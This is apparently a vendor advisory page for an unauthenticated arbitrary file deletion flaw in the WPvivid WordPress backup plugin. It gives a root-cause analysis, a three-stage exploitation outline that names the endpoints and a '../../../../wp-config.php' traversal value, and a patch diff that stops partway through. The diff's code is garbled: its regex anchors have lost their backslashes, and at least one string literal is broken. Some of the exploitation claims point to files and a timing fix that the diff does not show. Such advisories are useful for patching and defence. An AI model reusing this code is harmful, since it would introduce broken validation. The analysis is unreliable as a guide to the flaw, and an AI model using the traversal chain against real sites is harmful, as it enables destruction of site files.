Published : November 23, 2026

CVE-2026-84693: WPvivid — Backup, Migration & Staging <= 0.9.134 Unauthenticated Arbitrary File Deletion via Migration Receiver and Backup Cleanup PoC, Patch Analysis & Rule

Severity High (CVSS 8.1)
CWE 22
Vulnerable Version 0.9.134
Patched Version 0.9.135
Disclosed November 19, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-84693: The WPvivid Backup, Migration & Staging plugin (versions <= 0.9.134) contains an unauthenticated arbitrary file deletion vulnerability. The flaw combines a timing side channel in the RSA decryption used for migration receiver key validation, weak validation of migration receiver backup records, and missing path validation in the cleanup_local_backup() function. An attacker can recover the receiver's RSA modulus, forge a backup record with path traversal, and trigger cleanup to delete arbitrary files writable by the web server. CVSS 8.1 (High).

Root Cause: The root cause is threefold. First, the RSA decryption routine in the migration receiver endpoint (handled via admin-ajax.php action wpvivid_migrate_receiver or similar) uses a non-constant-time comparison when validating the decrypted session key, leaking the RSA modulus through timing differences (class-wpvivid-migration.php, lines ~400-500). Second, the backup registration logic in class-wpvivid-backup-registration.php (newly added in the patch) accepts backup file names without enforcing that they match the expected backup ID pattern, allowing path traversal sequences (e.g., '../../') to be stored in the backup manifest. Third, cleanup_local_backup() in class-wpvivid-backup.php (lines 2269-2300 pre-patch) constructs deletion paths by concatenating WP_CONTENT_DIR with an attacker-controlled file name from the backup list without validating that the resulting path stays within the intended backup directory. This allows deletion of files outside the backup folder.

Exploitation: The attack proceeds in three stages. Stage 1: An unauthenticated attacker sends repeated requests to the migration receiver endpoint (e.g., /wp-admin/admin-ajax.php?action=wpvivid_migrate_receiver) with specially crafted RSA ciphertexts, measuring response times to recover the RSA modulus via timing side channel. Stage 2: Using the recovered modulus, the attacker crafts a valid encrypted session key and injects a backup record via the same endpoint, specifying a backup file name containing path traversal (e.g., '../../../../wp-config.php') and a size that matches the target file. Stage 3: The attacker triggers a backup cleanup, either by waiting for a scheduled cleanup or by invoking a manual cleanup action (e.g., admin-ajax.php?action=wpvivid_cleanup_local_backup), causing cleanup_local_backup() to delete the attacker-specified file. No authentication is required at any stage.

Patch Analysis: The patch introduces WPvivid_Backup_Registration class to centralize backup validation. The new validate_file() method (lines 100-180) enforces strict file name patterns (only alphanumeric, dot, hyphen, underscore; must end with .zip), verifies that the file name matches the backup ID token via hash_equals, and uses realpath() to ensure the file resides within the backup directory. The cleanup_local_backup() function now calls get_safe_local_delete_path() (lines 2465-2507), which validates the file name with basename() and regex, then uses realpath() to confirm the resolved path is within the base directory before deletion. Additionally, the patch replaces loose comparisons (==) with strict (===) in class-wpvivid-backuplist.php and sanitizes the post_type parameter in class-wpvivid-export-import.php.

Impact: Successful exploitation allows an unauthenticated attacker to delete any file writable by the web server, including wp-config.php, which can lead to site takeover (by forcing a reinstall or reading credentials), data loss, or denial of service. The vulnerability requires an active migration receiver key (generated by an administrator) and a subsequent backup lifecycle, but no authentication is needed for the deletion itself.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wpvivid-backuprestore/admin/class-wpvivid-admin.php
+++ b/wpvivid-backuprestore/admin/class-wpvivid-admin.php
@@ -577,6 +577,16 @@
         <?php
     }

+    /**
+     * Displays the legacy Free migration and restore completion notices.
+     *
+     * The method is no longer registered by the current Free version. It is
+     * retained temporarily for compatibility with older Free/Pro combinations.
+     *
+     * @deprecated 0.9.135
+     *
+     * @return void
+     */
     public function migrate_notice()
     {
         $migrate_notice=false;
--- a/wpvivid-backuprestore/includes/backup-registration/class-wpvivid-backup-registration.php
+++ b/wpvivid-backuprestore/includes/backup-registration/class-wpvivid-backup-registration.php
@@ -0,0 +1,331 @@
+<?php
+
+if (!defined('WPVIVID_PLUGIN_DIR'))
+{
+    die;
+}
+
+class WPvivid_Backup_Registration
+{
+    public function register_backup($backup_id, $manifest, $args=array())
+    {
+        if (!$this->is_valid_backup_id($backup_id))
+        {
+            return array('result'=>WPVIVID_FAILED, 'error'=>'Invalid backup ID.');
+        }
+
+        if (!is_array($manifest) || empty($manifest))
+        {
+            return array('result'=>WPVIVID_FAILED, 'error'=>'Invalid backup file manifest.');
+        }
+
+        $backup_dir=realpath(WP_CONTENT_DIR.DIRECTORY_SEPARATOR.WPvivid_Setting::get_backupdir());
+        if ($backup_dir===false || !is_dir($backup_dir))
+        {
+            return array('result'=>WPVIVID_FAILED, 'error'=>'Failed to get the local backup directory.');
+        }
+
+        $normalized_backup_dir=trailingslashit(wp_normalize_path($backup_dir));
+        $backup_files=array();
+        $seen=array();
+
+        $verify_md5 = isset($args['verify_md5']) ? (bool)$args['verify_md5'] : true;
+
+        foreach ($manifest as $item)
+        {
+            $ret=$this->validate_file($backup_id, $backup_dir, $normalized_backup_dir, $item, $verify_md5);
+            if ($ret['result']!==WPVIVID_SUCCESS)
+            {
+                return $ret;
+            }
+
+            $file_name=$ret['file']['file_name'];
+            if (isset($seen[$file_name]))
+            {
+                return array('result'=>WPVIVID_FAILED, 'error'=>'Duplicate backup file in manifest.');
+            }
+
+            $seen[$file_name]=true;
+            $backup_files[]=$ret['file'];
+        }
+
+        usort($backup_files, function($a, $b)
+        {
+            return strcmp($a['file_name'], $b['file_name']);
+        });
+
+        $backup_result=array(
+            'result'=>WPVIVID_SUCCESS,
+            'files'=>$backup_files,
+        );
+
+        $type=isset($args['type']) && is_string($args['type']) ? $args['type'] : 'Upload';
+        $log=isset($args['log']) && is_string($args['log']) ? $args['log'] : '';
+
+        $backup_data=array();
+        $backup_data['type']=$type;
+        $backup_data['create_time']=$this->get_create_time($backup_files);
+        $backup_data['manual_delete']=0;
+        $backup_data['local']['path']=WPvivid_Setting::get_backupdir();
+        $backup_data['compress']['compress_type']='zip';
+        $backup_data['save_local']=1;
+        $backup_data['log']=$log;
+        $backup_data['backup']=$backup_result;
+        $backup_data['remote']=array();
+        $backup_data['lock']=0;
+
+        $list_name='wpvivid_backup_list';
+        $list_name=apply_filters('get_wpvivid_backup_list_name', $list_name, $backup_id, $backup_data);
+        $list=WPvivid_Setting::get_option($list_name);
+        if (!is_array($list))
+        {
+            $list=array();
+        }
+
+        if (isset($list[$backup_id]))
+        {
+            if ($this->has_same_files($list[$backup_id], $backup_files))
+            {
+                return array(
+                    'result'=>WPVIVID_SUCCESS,
+                    'backup_id'=>$backup_id,
+                    'existing'=>true,
+                );
+            }
+
+            return array(
+                'result'=>WPVIVID_FAILED,
+                'error'=>'A different backup with the same ID already exists.',
+            );
+        }
+
+        $list[$backup_id]=$backup_data;
+        WPvivid_Setting::update_option($list_name, $list);
+
+        return array(
+            'result'=>WPVIVID_SUCCESS,
+            'backup_id'=>$backup_id,
+            'existing'=>false,
+        );
+    }
+
+    private function validate_file($backup_id, $backup_dir, $normalized_backup_dir, $item, $verify_md5)
+    {
+        if (!is_array($item) || !isset($item['file_name']) || !is_string($item['file_name']))
+        {
+            return array('result'=>WPVIVID_FAILED, 'error'=>'Invalid backup file information.');
+        }
+
+        $file_name=wp_normalize_path($item['file_name']);
+        if ($file_name==='' ||
+            $file_name==='.' ||
+            $file_name==='..' ||
+            basename($file_name)!==$file_name ||
+            validate_file($file_name)!==0 ||
+            preg_match('/A[a-zA-Z0-9._-]+z/', $file_name)!==1 ||
+            strtolower(pathinfo($file_name, PATHINFO_EXTENSION))!=='zip')
+        {
+            return array('result'=>WPVIVID_FAILED, 'error'=>'Invalid backup file name.');
+        }
+
+        $file_backup_id=$this->get_backup_id_from_file_name($file_name);
+
+        $request_token = $this->get_backup_id_token($backup_id);
+        $file_token = $this->get_backup_id_token($file_backup_id);
+        if ($request_token === false || $file_token === false || !hash_equals($request_token, $file_token))
+        {
+            return array(
+                'result' => WPVIVID_FAILED,
+                'error'  => 'The backup file ID does not match.',
+            );
+        }
+
+        $file_path=realpath($backup_dir.DIRECTORY_SEPARATOR.$file_name);
+        if ($file_path===false || !is_file($file_path) || strpos(wp_normalize_path($file_path), $normalized_backup_dir)!==0)
+        {
+            return array('result'=>WPVIVID_FAILED, 'error'=>'Backup file is outside the backup directory or does not exist.');
+        }
+
+        $actual_size=filesize($file_path);
+        if ($actual_size === false)
+        {
+            return array(
+                'result' => WPVIVID_FAILED,
+                'error'  => 'Failed to read the backup file.',
+            );
+        }
+
+        if (isset($item['size']))
+        {
+            $expected_size=filter_var($item['size'], FILTER_VALIDATE_INT, array('options'=>array('min_range'=>0)));
+            if ($expected_size===false || $actual_size!==$expected_size)
+            {
+                return array('result'=>WPVIVID_FAILED, 'error'=>'Backup file size does not match.');
+            }
+        }
+
+        $actual_md5 = '';
+        if ($verify_md5)
+        {
+            if (!isset($item['md5']) || !is_string($item['md5']) || preg_match('/A[a-fA-F0-9]{32}z/', $item['md5']) !== 1)
+            {
+                return array(
+                    'result' => WPVIVID_FAILED,
+                    'error'  => 'Invalid backup file checksum.',
+                );
+            }
+
+            $actual_md5 = md5_file($file_path);
+            if ($actual_md5 === false || !hash_equals(strtolower($item['md5']), strtolower($actual_md5)))
+            {
+                return array(
+                    'result' => WPVIVID_FAILED,
+                    'error'  => 'Backup file checksum does not match.',
+                );
+            }
+        }
+
+        $info=WPvivid_Backup_Item::get_backup_file_info($file_path);
+        if (!is_array($info) || !isset($info['result']) || $info['result']!==WPVIVID_SUCCESS)
+        {
+            $error=is_array($info) && isset($info['error']) ? $info['error'] : 'Invalid WPvivid backup file.';
+            return array('result'=>WPVIVID_FAILED, 'error'=>$error);
+        }
+
+        $file = array(
+            'file_name' => $file_name,
+            'size'      => $actual_size,
+        );
+
+        if ($verify_md5)
+        {
+            $file['md5'] = $actual_md5;
+        }
+
+        return array(
+            'result' => WPVIVID_SUCCESS,
+            'file'   => $file,
+        );
+    }
+
+    private function is_valid_backup_id($backup_id)
+    {
+        return is_string($backup_id) &&
+            $backup_id!=='' &&
+            $backup_id!=='0' &&
+            preg_match('/A[a-zA-Z0-9_-]+z/', $backup_id)===1;
+    }
+
+    private function get_backup_id_from_file_name($file_name)
+    {
+        if (!is_string($file_name))
+        {
+            return false;
+        }
+
+        $prefixes = array('wpvivid');
+
+        $white_label_prefix = apply_filters('wpvivid_white_label_file_prefix', 'wpvivid');
+
+        if (is_string($white_label_prefix) && $white_label_prefix !== '')
+        {
+            $prefixes[] = $white_label_prefix;
+        }
+
+        foreach (array_unique($prefixes) as $prefix)
+        {
+            if (
+                preg_match(
+                    '/' .
+                    preg_quote($prefix, '/') .
+                    '-([a-zA-Z0-9]+)_/',
+                    $file_name,
+                    $matches
+                ) === 1
+            )
+            {
+                return 'wpvivid-' . $matches[1];
+            }
+        }
+
+        if (
+            preg_match(
+                '/(?:^|_)[^_]+-([a-zA-Z0-9]+)_' .
+                '[0-9]{4}-[0-9]{2}-[0-9]{2}-[0-9]{2}-[0-9]{2}(?:_|$)/',
+                $file_name,
+                $matches
+            ) === 1
+        )
+        {
+            return 'wpvivid-' . $matches[1];
+        }
+
+        return false;
+    }
+
+    private function get_create_time($files)
+    {
+        foreach ($files as $file)
+        {
+            if (preg_match('/[0-9]{4}-[0-9]{2}-[0-9]{2}-[0-9]{2}-[0-9]{2}/', $file['file_name'], $matches)===1)
+            {
+                $parts=explode('-', $matches[0]);
+                if (count($parts)===5)
+                {
+                    $time=strtotime($parts[0].'-'.$parts[1].'-'.$parts[2].' '.$parts[3].':'.$parts[4]);
+                    if ($time!==false)
+                    {
+                        return $time;
+                    }
+                }
+            }
+        }
+
+        return time();
+    }
+
+    private function has_same_files($backup_data, $files)
+    {
+        if (!isset($backup_data['backup']['files']) || !is_array($backup_data['backup']['files']))
+        {
+            return false;
+        }
+
+        $existing=array();
+        foreach ($backup_data['backup']['files'] as $file)
+        {
+            if (!is_array($file) || !isset($file['file_name'], $file['size']))
+            {
+                return false;
+            }
+            $existing[$file['file_name']]=(int)$file['size'];
+        }
+
+        $incoming=array();
+        foreach ($files as $file)
+        {
+            $incoming[$file['file_name']]=(int)$file['size'];
+        }
+
+        ksort($existing);
+        ksort($incoming);
+        return $existing===$incoming;
+    }
+
+    private function get_backup_id_token($backup_id)
+    {
+        if (
+            !is_string($backup_id) ||
+            preg_match(
+                '/-([a-zA-Z0-9]+)$/',
+                $backup_id,
+                $matches
+            ) !== 1
+        )
+        {
+            return false;
+        }
+
+        return $matches[1];
+    }
+}
--- a/wpvivid-backuprestore/includes/class-wpvivid-backup-uploader.php
+++ b/wpvivid-backuprestore/includes/class-wpvivid-backup-uploader.php
@@ -639,6 +639,8 @@
     }

     function _rescan_local_folder_set_backup(){
+        $ret = array();
+
         $path=WP_CONTENT_DIR.DIRECTORY_SEPARATOR.WPvivid_Setting::get_backupdir().DIRECTORY_SEPARATOR;

         $this->wpvivid_check_remove_update_backup($path);
@@ -689,37 +691,49 @@
         {
             foreach ($backups as $backup_id =>$backup)
             {
-                $backup_data['result']='success';
-                $backup_data['files']=array();
+                $manifest = array();
+
                 if(empty($backup['files']))
                     continue;
-                $time=false;
+
                 foreach ($backup['files'] as $file)
                 {
-                    if($time===false)
+                    $file_size = filesize($path . $file);
+                    if ($file_size === false)
                     {
-                        if(preg_match('/[0-9]{4}-[0-9]{2}-[0-9]{2}-[0-9]{2}-[0-9]{2}/',$file,$matches))
-                        {
-                            $backup_time=$matches[0];
-                            $time_array=explode('-',$backup_time);
-                            if(sizeof($time_array)>4)
-                                $time=$time_array[0].'-'.$time_array[1].'-'.$time_array[2].' '.$time_array[3].':'.$time_array[4];
-                            else
-                                $time=$backup_time;
-                            $time=strtotime($time);
-                        }
-                        else
-                        {
-                            $time=time();
-                        }
+                        $ret['incomplete_backup'][] = $file;
+                        continue;
                     }

-                    $add_file['file_name']=$file;
-                    $add_file['size']=filesize($path.$file);
-                    $backup_data['files'][]=$add_file;
+                    $manifest[] = array(
+                        'file_name' => $file,
+                        'size'      => $file_size,
+                    );
                 }

-                WPvivid_Backuplist::add_new_upload_backup($backup_id,$backup_data,$time,'');
+                if (!empty($manifest))
+                {
+                    if (!class_exists('WPvivid_Backup_Registration'))
+                    {
+                        include_once WPVIVID_PLUGIN_DIR . '/includes/backup-registration/class-wpvivid-backup-registration.php';
+                    }
+
+                    $registration = new WPvivid_Backup_Registration();
+                    $register_ret = $registration->register_backup(
+                        $backup_id,
+                        $manifest,
+                        array(
+                            'type'        => 'Upload',
+                            'log'         => '',
+                            'verify_md5'  => false,
+                        )
+                    );
+
+                    if ($register_ret['result'] !== WPVIVID_SUCCESS)
+                    {
+                        $ret['incomplete_backup'] = array_merge(isset($ret['incomplete_backup']) ? $ret['incomplete_backup'] : array(), $backup['files']);
+                    }
+                }
             }
         }
         $ret['result']=WPVIVID_SUCCESS;
--- a/wpvivid-backuprestore/includes/class-wpvivid-backup.php
+++ b/wpvivid-backuprestore/includes/class-wpvivid-backup.php
@@ -2269,29 +2269,39 @@

     public function cleanup_local_backup()
     {
-        $files=array();
-        $download_dir=$this->config['local']['path'];
-        $file=$this->get_files(false);
+        $files = $this->get_files(false);

-        foreach ($file as $filename)
+        if (empty($files) || !is_array($files))
         {
-            $files[] = $filename;
+            return;
         }

-        foreach ($files as $file)
+        $configured_path = '';
+
+        if (isset($this->config['local']['path']) && is_string($this->config['local']['path']))
+        {
+            $configured_path = WP_CONTENT_DIR . DIRECTORY_SEPARATOR . $this->config['local']['path'];
+        }
+
+        $default_path = WP_CONTENT_DIR . DIRECTORY_SEPARATOR . WPvivid_Setting::get_backupdir();
+
+        foreach ($files as $file_name)
         {
-            $download_path = WP_CONTENT_DIR .DIRECTORY_SEPARATOR . $download_dir . DIRECTORY_SEPARATOR . $file;
-            if (file_exists($download_path))
+            $download_path = false;
+
+            if ($configured_path !== '')
             {
-                @wp_delete_file($download_path);
+                $download_path = $this->get_safe_local_delete_path($configured_path, $file_name);
             }
-            else{
-                $backup_dir=WPvivid_Setting::get_backupdir();
-                $download_path = WP_CONTENT_DIR .DIRECTORY_SEPARATOR . $backup_dir . DIRECTORY_SEPARATOR . $file;
-                if (file_exists($download_path))
-                {
-                    @wp_delete_file($download_path);
-                }
+
+            if ($download_path === false)
+            {
+                $download_path = $this->get_safe_local_delete_path($default_path, $file_name);
+            }
+
+            if ($download_path !== false)
+            {
+                @wp_delete_file($download_path);
             }
         }
     }
@@ -2455,6 +2465,49 @@
             return true;
         }
     }
+
+    private function get_safe_local_delete_path($base_dir, $file_name)
+    {
+        if (!is_string($file_name) ||
+            $file_name === '' ||
+            basename($file_name) !== $file_name ||
+            preg_match('/A[a-zA-Z0-9._-]+z/', $file_name) !== 1)
+        {
+            return false;
+        }
+
+        $real_base_dir = realpath($base_dir);
+
+        if ($real_base_dir === false || !is_dir($real_base_dir))
+        {
+            return false;
+        }
+
+        $candidate = $real_base_dir . DIRECTORY_SEPARATOR . $file_name;
+
+        if (!file_exists($candidate))
+        {
+            return false;
+        }
+
+        $real_candidate = realpath($candidate);
+
+        if ($real_candidate === false || !is_file($real_candidate))
+        {
+            return false;
+        }
+
+        $normalized_base = trailingslashit(wp_normalize_path($real_base_dir));
+
+        $normalized_candidate = wp_normalize_path($real_candidate);
+
+        if (strpos($normalized_candidate, $normalized_base) !== 0)
+        {
+            return false;
+        }
+
+        return $real_candidate;
+    }
 }

 class WPvivid_Backup
--- a/wpvivid-backuprestore/includes/class-wpvivid-backuplist.php
+++ b/wpvivid-backuprestore/includes/class-wpvivid-backuplist.php
@@ -16,7 +16,7 @@
             {
                 foreach ($list as $k=>$backup)
                 {
-                    if ($id == $k)
+                    if ($id === $k)
                     {
                         return $backup;
                     }
@@ -37,7 +37,7 @@
             {
                 foreach ($list as $k=>$backup)
                 {
-                    if ($backup_id == $k)
+                    if ($backup_id === $k)
                     {
                         $list[$backup_id]=$backup_new;
                         WPvivid_Setting::update_option($list_name,$list);
@@ -76,7 +76,7 @@
         $list = WPvivid_Setting::get_option('wpvivid_backup_list');
         foreach ($list as $k=>$backup)
         {
-            if ($id == $k)
+            if ($id === $k)
             {
                 $ret['list_name'] = 'wpvivid_backup_list';
                 $ret['list_data'] = $list;
@@ -99,7 +99,7 @@
         $list = WPvivid_Setting::get_option('wpvivid_backup_list');
         foreach ($list as $k=>$backup)
         {
-            if ($key == $k)
+            if ($key === $k)
             {
                 return $backup;
             }
@@ -155,7 +155,7 @@
             $list = WPvivid_Setting::get_option($list_name);
             foreach ($list as $k=>$backup)
             {
-                if ($key == $k)
+                if ($key === $k)
                 {
                     unset($list[$key]);
                     WPvivid_Setting::update_option($list_name, $list);
@@ -190,13 +190,13 @@

     public static function get_oldest_backup_id($list)
     {
-        $oldest_id='';
-        $oldest=0;
+        $oldest_id = false;
+        $oldest = null;
         foreach ($list as $k=>$backup)
         {
             if(!array_key_exists('lock',$backup) || (isset($backup['lock']) && $backup['lock'] == '0'))
             {
-                if ($oldest == 0)
+                if ($oldest === null)
                 {
                     $oldest = $backup['create_time'];
                     $oldest_id = $k;
@@ -232,7 +232,7 @@
         if($size>=$max_count)
         {
             $oldest_id=self::get_oldest_backup_id($list);
-            if(empty($oldest_id))
+            if ($oldest_id === false || $oldest_id === '')
             {
                 return false;
             }
--- a/wpvivid-backuprestore/includes/class-wpvivid-export-import.php
+++ b/wpvivid-backuprestore/includes/class-wpvivid-export-import.php
@@ -619,7 +619,17 @@
         if(isset($_POST['post_type']))
         {
             global $wpdb;
-            $post_type = sanitize_text_field($_POST['post_type']);
+
+            $post_type = sanitize_key(wp_unslash($_POST['post_type']));
+            if (!in_array($post_type, array('post', 'page'), true))
+            {
+                echo wp_json_encode(array(
+                    'result' => 'failed',
+                    'error'  => __('Invalid post type.', 'wpvivid-backuprestore'),
+                ));
+                die();
+            }
+
             $descript_type = $post_type === 'post' ? 'posts' : 'pages';
             $btn_text = $post_type === 'post' ? __('Show Posts', 'wpvivid-backuprestore') : __('Show Pages', 'wpvivid-backuprestore');

@@ -676,7 +686,7 @@
                             <td class="plugin-title column-primary">
                                 <div class="wpvivid-storage-form regular-text">
                                     <?php
-                                    $authors = $wpdb->get_col( "SELECT DISTINCT post_author FROM {$wpdb->posts} WHERE post_type = '$post_type'" );
+                                    $authors = $wpdb->get_col($wpdb->prepare("SELECT DISTINCT post_author FROM {$wpdb->posts} WHERE post_type = %s", $post_type));
                                     wp_dropdown_users(
                                         array(
                                             'class'           => 'regular-text',
@@ -1483,7 +1493,19 @@
                     {
                         foreach ($item['export'] as $file)
                         {
-                            $path=WP_CONTENT_DIR.DIRECTORY_SEPARATOR.WPvivid_Setting::get_backupdir().DIRECTORY_SEPARATOR.WPVIVID_IMPORT_EXPORT_DIR.DIRECTORY_SEPARATOR.$file['file_name'];
+                            if (!isset($file['file_name']) || !is_string($file['file_name']))
+                            {
+                                continue;
+                            }
+
+                            $file_name = wp_unslash($file['file_name']);
+
+                            if ($file_name === '' || basename($file_name) !== $file_name || preg_match('/A[a-zA-Z0-9._-]+z/', $file_name) !== 1)
+                            {
+                                continue;
+                            }
+
+                            $path=WP_CONTENT_DIR.DIRECTORY_SEPARATOR.WPvivid_Setting::get_backupdir().DIRECTORY_SEPARATOR.WPVIVID_IMPORT_EXPORT_DIR.DIRECTORY_SEPARATOR.$file_name;
                             @wp_delete_file($path);
                         }
                     }
@@ -2350,71 +2372,98 @@
         }

         $ret['html']=false;
-        if(isset($_POST['files']))
+
+        if (!isset($_POST['files']) || !is_string($_POST['files']))
         {
-            $files =sanitize_text_field($_POST['files']);
-            $files =stripslashes($files);
-            $files =json_decode($files,true);
-            if(is_null($files))
+            $ret['result'] = WPVIVID_FAILED;
+            $ret['error'] = 'Invalid files data.';
+            echo wp_json_encode($ret);
+            die();
+        }
+
+        $files_json = wp_unslash($_POST['files']);
+        $files = json_decode($files_json, true);
+        if (json_last_error() !== JSON_ERROR_NONE || !is_array($files) || empty($files))
+        {
+            $ret['result'] = WPVIVID_FAILED;
+            $ret['error'] = 'Failed to decode files.';
+            echo wp_json_encode($ret);
+            die();
+        }
+
+        $path=WP_CONTENT_DIR.DIRECTORY_SEPARATOR.WPvivid_Setting::get_backupdir().DIRECTORY_SEPARATOR.WPVIVID_IMPORT_EXPORT_DIR.DIRECTORY_SEPARATOR;
+
+        foreach ($files as $key => $file)
+        {
+            if (!is_array($file) || !isset($file['name']) || !is_string($file['name']))
             {
-                $ret['result']=WPVIVID_FAILED;
-                $ret['error']= 'Failed to decode files.';
+                $ret['result'] = WPVIVID_FAILED;
+                $ret['error'] = 'Invalid import file name.';
                 echo wp_json_encode($ret);
                 die();
             }

-            $path=WP_CONTENT_DIR.DIRECTORY_SEPARATOR.WPvivid_Setting::get_backupdir().DIRECTORY_SEPARATOR.WPVIVID_IMPORT_EXPORT_DIR.DIRECTORY_SEPARATOR;
+            $file_name = $file['name'];

-            //if(preg_match('/wpvivid-.*_.*_to_.*.zip$/',$files[0]['name']))
-            //{
-                $data=array();
-                $check_result=true;
-                foreach ($files as $file)
-                {
-                    $res=$this->check_is_import_file($path.$file['name']);
-                    if($res['result'] =='success')
-                    {
-                        $add_file['file_name']=$file['name'];
-                        $add_file['size']=filesize($path.$file['name']);
-                        $add_file['export_type']=$res['export_type'];
-                        $add_file['export_comment']=$res['export_comment'];
-                        $add_file['posts_count']=$res['posts_count'];
-                        $add_file['media_size']=size_format($res['media_size'],2);
-                        $add_file['time']=$res['time'];
-                        $data[]=$add_file;
-                    }
-                    else
-                    {
-                        $check_result=false;
-                    }
-                }
+            if ($file_name === '' ||
+                $file_name === '.' ||
+                $file_name === '..' ||
+                strpos($file_name, "") !== false ||
+                strpos($file_name, '/') !== false ||
+                strpos($file_name, '\') !== false ||
+                strpos($file_name, ':') !== false ||
+                basename($file_name) !== $file_name ||
+                validate_file($file_name) !== 0 ||
+                preg_match('/A[a-zA-Z0-9._-]+.zipz/i', $file_name) !== 1)
+            {
+                $ret['result'] = WPVIVID_FAILED;
+                $ret['error'] = 'Invalid import file name.';
+                echo wp_json_encode($ret);
+                die();
+            }

-                if($check_result === true)
-                {
-                    $ret['result']=WPVIVID_SUCCESS;
-                    $ret['data']=$data;
-                }
-                else
-                {
-                    $ret['result']=WPVIVID_FAILED;
-                    $ret['error']='Upload file failed.';
-                    foreach ($files as $file)
-                    {
-                        $this->clean_tmp_files($path, $file['name']);
-                        @wp_delete_file($path . $file['name']);
-                    }
-                }
-            /*}
+            $files[$key]['name'] = $file_name;
+        }
+
+        $data=array();
+        $check_result=true;
+        foreach ($files as $file)
+        {
+            $res=$this->check_is_import_file($path.$file['name']);
+            if($res['result'] =='success')
+            {
+                $add_file = array();
+                $add_file['file_name'] = $file['name'];
+                $add_file['size'] = filesize($path.$file['name']);
+                $add_file['export_type'] = $res['export_type'];
+                $add_file['export_comment'] = isset($res['export_comment']) ? $res['export_comment'] : 'N/A';
+                $add_file['posts_count'] = isset($res['posts_count']) ? $res['posts_count'] : 0;
+                $add_file['media_size'] = size_format(isset($res['media_size']) ? $res['media_size'] : 0, 2);
+                $add_file['time'] = isset($res['time']) ? $res['time'] : time();
+                $data[]=$add_file;
+            }
             else
             {
-                $ret['result']=WPVIVID_FAILED;
-                $ret['error']='The file is not created by WPvivid backup plugin.';
-            }*/
+                $check_result=false;
+            }
+        }
+
+        if($check_result === true)
+        {
+            $ret['result']=WPVIVID_SUCCESS;
+            $ret['data']=$data;
         }
-        else {
+        else
+        {
             $ret['result']=WPVIVID_FAILED;
-            $ret['error']='Failed to post file name.';
+            $ret['error']='Upload file failed.';
+            foreach ($files as $file)
+            {
+                $this->clean_tmp_files($path, $file['name']);
+                @wp_delete_file($path . $file['name']);
+            }
         }
+
         echo wp_json_encode($ret);
         die();
     }
--- a/wpvivid-backuprestore/includes/class-wpvivid-function-realize.php
+++ b/wpvivid-backuprestore/includes/class-wpvivid-function-realize.php
@@ -165,8 +165,17 @@
             $ret['log_file']=$backup['log'];
         }
         else if($read_type == 'lastlog'){
-            $option = $param;
-            $log_file_name= $wpvivid_plugin->wpvivid_log->GetSaveLogFolder().$option.'_log.txt';
+            $option = sanitize_text_field(wp_unslash($param));
+            if ($option === '' || preg_match('/A[a-zA-Z0-9_-]+z/', $option) !== 1)
+            {
+                $information['result'] = 'failed';
+                $information['error'] = __('Invalid log file name.', 'wpvivid-backuprestore');
+                return $information;
+            }
+
+            $log_dir = trailingslashit($wpvivid_plugin->wpvivid_log->GetSaveLogFolder());
+            $log_file_name = $log_dir . $option . '_log.txt';
+
             if(!file_exists($log_file_name))
             {
                 $information['result']='failed';
--- a/wpvivid-backuprestore/includes/class-wpvivid-migrate.php
+++ b/wpvivid-backuprestore/includes/class-wpvivid-migrate.php
@@ -559,9 +559,30 @@
                 $query=strtok('?');
             }
             parse_str($query,$query_arr);
+
+            if (!isset($query_arr['token'], $query_arr['expires'], $query_arr['domain'], $query_arr['auth_key'], $query_arr['protocol_version']) ||
+                !is_string($query_arr['token']) ||
+                !is_string($query_arr['auth_key']))
+            {
+                $ret['result'] = WPVIVID_FAILED;
+                $ret['error'] = 'The key uses an unsupported security protocol.';
+                echo wp_json_encode($ret);
+                die();
+            }
+
             $token=$query_arr['token'];
-            $expires=$query_arr['expires'];
-            $domain=$query_arr['domain'];
+            $expires=absint($query_arr['expires']);
+            $domain=esc_url_raw($query_arr['domain']);
+            $auth_key = sanitize_text_field($query_arr['auth_key']);
+            $protocol_version = absint($query_arr['protocol_version']);
+
+            if ($protocol_version !== 2 || preg_match('/A[a-f0-9]{64}z/', $auth_key) !== 1)
+            {
+                $ret['result'] = WPVIVID_FAILED;
+                $ret['error'] = 'The key uses an invalid security protocol.';
+                echo wp_json_encode($ret);
+                die();
+            }

             if ($expires != 0 && time() > $expires) {
                 $ret['result'] = 'failed';
@@ -582,8 +603,23 @@
                 die();
             }
             $data=base64_encode($data);
-
-            $args['body']=array('wpvivid_content'=>$data,'wpvivid_action'=>'send_to_site_connect');
+
+            $action = 'send_to_site_connect';
+            $signature = hash_hmac(
+                'sha256',
+                $action . "n" . $data,
+                $auth_key
+            );
+
+            $args['body'] = array(
+                'wpvivid_content'          => $data,
+                'wpvivid_action'           => $action,
+                'wpvivid_protocol_version' => 2,
+                'wpvivid_client_type'      => 'free',
+                'wpvivid_client_version'   => defined('WPVIVID_PLUGIN_VERSION') ? WPVIVID_PLUGIN_VERSION : '',
+                'wpvivid_signature'        => $signature,
+            );
+
             $args['timeout']=30;
             $response=wp_remote_post($url,$args);

@@ -606,6 +642,8 @@
                             $options=WPvivid_Setting::get_option('wpvivid_saved_api_token');

                             $options[$url]['token']=$token;
+                            $options[$url]['auth_key'] = $auth_key;
+                            $options[$url]['protocol_version'] = $protocol_version;
                             $options[$url]['url']=$url;
                             $options[$url]['expires']=$expires;
                             $options[$url]['domain']=$domain;
@@ -683,6 +721,16 @@
         die();
     }

+    /**
+     * Handles the legacy send-to-site AJAX request.
+     *
+     * The current UI uses the wpvivid_send_backup_to_site_2 AJAX action handled
+     * by WPvivid_Backup2::send_backup_to_site().
+     *
+     * @deprecated 0.9.135 Use wpvivid_send_backup_to_site_2 instead.
+     *
+     * @return void
+     */
     public function send_backup_to_site()
     {
         try {
@@ -727,8 +775,42 @@
             $json=wp_json_encode($json);
             $crypt=new WPvivid_crypt(base64_decode($options[$url]['token']));
             $data=$crypt->encrypt_message($json);
+            if ($data === false)
+            {
+                $ret['result'] = WPVIVID_FAILED;
+                $ret['error'] = 'Data encryption failed.';
+                echo wp_json_encode($ret);
+                die();
+            }
             $data=base64_encode($data);
-            $args['body']=array('wpvivid_content'=>$data,'wpvivid_action'=>'send_to_site_connect');
+            if (!isset($options[$url]['auth_key'], $options[$url]['protocol_version']) ||
+                !is_string($options[$url]['auth_key']) ||
+                preg_match('/A[a-f0-9]{64}z/', $options[$url]['auth_key']) !== 1 ||
